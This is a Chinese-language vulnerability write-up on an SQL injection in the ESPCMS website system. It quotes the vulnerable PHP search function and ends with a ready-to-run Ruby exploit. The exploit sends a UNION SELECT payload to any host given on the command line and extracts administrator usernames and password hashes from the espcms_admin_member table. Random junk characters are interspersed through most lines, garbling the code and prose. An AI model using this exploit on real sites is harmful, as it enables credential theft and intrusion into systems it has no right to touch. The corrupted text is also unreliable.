0×0 漏洞概述0×1 漏洞细节3 M# f1 h* g# T: ?& S+ _+ J( x
0×2 PoC
/ i7 \; I$ e) H( Y4 n; a$ L& \& g- l& u+ r J3 T5 G7 h" B
% a K7 C- o) k. ^# i2 C
6 ^( G# x% R- D& z e* B8 U
0×0 漏洞概述% w, P& M4 h: F3 w7 N% J% d
0 p$ B" E; ~+ q7 F5 ^5 a
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。8 j6 G0 q! O1 x
其在处理传入的参数时考虑不严谨导致SQL注入发生
7 C+ l2 q3 m, Q. H4 U
- M7 d" n+ I% h
- g9 _, {6 G% ]- f7 Q$ s& n0×1 漏洞细节5 a' Q2 }2 N) R
2 J! p/ z# D2 o) I( o2 v8 S变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
: `. r4 ?6 J4 A正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
1 z* c/ @2 z6 |* `- v) C而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。2 W/ L7 @* P \9 p7 \/ T# m3 t
% Z( ], c! C; E! H0 j在/interface/3gwap_search.php文件的in_result函数中:# e1 F" t# P! r
# e. i0 p- o6 e; u# d
) g% g4 C# c# g& K) X1 @# `, [4 ?4 c1 m
function in_result() {/ ]$ m8 b- p8 ~% D1 ~3 z' w
... ... ... ... ... ... ... ... ...2 l& k" _) z/ N
$urlcode = $_SERVER[ 'QUERY_STRING '];
% S; C1 e" d# ^" f ` parse_str(html_entity_decode($urlcode), $output);9 k) n2 c$ Z! p
, E3 _+ r! T( V9 w) v. Z, w
... ... ... ... ... ... ... ... ...7 F( \. w. c. z; N2 J$ i# N4 U2 l
if (is_array($output['attr' ]) && count($output['attr']) > 0) {) W) ^) v4 K/ U( L0 o
8 Z1 M0 k3 ^( B0 f0 }: x $db_table = db_prefix . 'model_att';$ g7 j$ F# `( A% Z. p# Q, d
1 I" a3 E( H1 [
foreach ($output['attr' ] as $key => $value) {
/ z& X. c! R9 @4 P4 v if ($value) {# Q1 v+ o& Y! M
8 e3 q) h, q+ K $key = addslashes($key);
/ [/ o) b u( m% J% m; Q $key = $this-> fun->inputcodetrim($key);+ s, T f* ~' l* B5 v6 ]: u
$db_att_where = " WHERE isclass=1 AND attrname='$key'";: o% F2 d6 M. h
$countnum = $this->db_numrows($db_table, $db_att_where);) A+ Z# H0 n/ \! Q: k9 T
if ($countnum > 0) {- b; M( Y8 H) e9 G+ T# j
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
3 r$ [9 V& K0 W% j# o6 i }! n/ o. C& c9 r ?5 E
}
, `- M8 U5 X- Q/ T) k% b- f; f }1 ^+ c! h* S+ G. s) d
}: f* N2 o3 S- m$ ?
if (!empty ($keyword) && empty($keyname)) {
6 H! G c7 o8 A. [: p- q- { $keyname = 'title';
; N- z5 f' N1 [( A9 A: _ $db_where.= " AND a.title like '%$keyword%'" ;
' F$ n$ U$ q7 j* e2 H$ c' p& T/ _ } elseif (!empty ($keyword) && !empty($keyname)) {
) u5 T/ V# [% F0 A& Y $db_where.= " AND $keyname like '% $keyword%'";6 X& U; a0 C, h
}
* S" l/ T; S7 }+ f $pagemax = 15;
7 X D8 Q4 }. G$ s# M/ h% j( |
1 N) g! m/ v3 e; L; C $pagesylte = 1;
3 p# f6 z: O6 G- r8 D
& Y9 e6 {, e' G g: ?( K- C if ($countnum > 0) {4 @7 p1 ^/ g3 ?+ ^; t* }4 X- |
* I' ?' V2 f, F; f) ~8 y
$numpage = ceil($countnum / $pagemax);
% J" d: s; @0 o } else {
4 M+ ~# k- M+ ~4 Y0 m6 T3 Z; u $numpage = 1;5 D; R U1 X( `3 V* \8 u8 g! [
}
9 Z& \. a$ r& r" H/ W% H $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;8 X7 `/ U9 v; W$ M
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);7 a0 _, n; x1 {; T' B" B6 L% N
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);0 {( m% K6 f: y( ~8 J3 Y/ \" A
... ... ... ... ... ... ... ... ...
! o" s0 `8 l' ~8 m }
5 O9 H, }! t9 }; M3 ?. y9 y4 M% t; e# o
0 m8 y# U/ T9 g" M* g0×2 PoC
. K- i. Z" \. Q- R# }
0 _; Q% n2 t/ K3 J* f" I
: i2 m) [4 e- d
. V7 |3 L' h6 W p# Yrequire "net/http"4 k, q4 m; r4 F- B$ }. B5 m) S* M, g+ t u
# e$ y. S* s$ s& j: q* c. [
def request(method, url)3 R" W! \+ ?/ k0 ~! o. J. f
if method.eql?("get")& h5 K7 K$ m4 r$ _6 j
uri = URI.parse(url)6 N4 m; _. ^* a& C4 a
http = Net::HTTP.new(uri.host, uri.port)
8 x8 F( t& J% X- L+ I8 n response = http.request(Net::HTTP::Get.new(uri.request_uri))3 e3 d. e9 e* y0 H
return response
+ W4 _; o0 `9 m7 _ ^, N6 j end
2 ~* a A+ W3 U3 O. a; vend
3 q! M" {$ B- _# J( z" I8 K0 [) F$ v% A
doc =<<HERE
i/ ~3 D5 O2 c: o-------------------------------------------------------
/ z0 }% H; T2 V0 S. J1 R8 ^ y0 _2 {# OEspcms Injection Exploit
1 b# A' F% s" l) j3 GAuthor:ztz
- x0 Z1 _2 X W( o, MBlog:http://ztz.fuzzexp.org/
: M7 [0 G% q: b8 d. p-------------------------------------------------------
& N) j: ?: c8 F' n, B
' P5 W! \- v3 `' U% _! WHERE6 T# L( L' q5 z
' \6 j# L4 ], {2 P, m3 D, V
usage =<<HERE! M% T1 ^- n' Z# N- e/ }1 d
Usage: ruby #{$0} host port path% O1 D6 P! }8 ^; T4 [1 L6 _
example: ruby #{$0} www.target.com 80 /
7 m3 p: G0 e% l1 ~$ lHERE
Z8 Y* r, e9 [3 J+ G4 B( z( X0 j$ X$ ~& q5 C, }
puts doc' \/ V8 s1 w; o3 U
if ARGV.length < 34 `% O, s: |4 j0 z8 U
puts usage5 V* h4 K; ]/ E2 X& ?
else, |- _' Z. s5 h$ e% G1 z
$host = ARGV[0]
0 A) ~5 n2 V7 p- j0 E0 Z $port = ARGV[1]
, W) t' T3 w8 h# I7 e7 |: Z $path = ARGV[2]
) v, ], y: ~" C$ H- C' U" d! }+ @ v6 F2 T) a% g
puts "send request..."+ \' G) `9 Q/ h; ?
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
; X. g5 H. i9 j' e+ Y7 battr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13* D0 k6 ^4 B- }7 G
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
& B. _; ~; p/ b1 r8 {. A,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"8 t# y' c2 T: W9 `/ W3 t
response = request("get", url)4 ~% Q5 N* ?* _4 W; U5 d# P+ j1 f
result = response.body.scan(/\w+&\w{32}/)0 A# U' Q9 k! M) U% G3 V* U4 Z; l
puts result/ N+ R! n" P$ F- s$ @* {6 {
end# M* b' g9 M* }5 r: N
7 m" Y4 D- ?% K4 X- W3 M' _% F |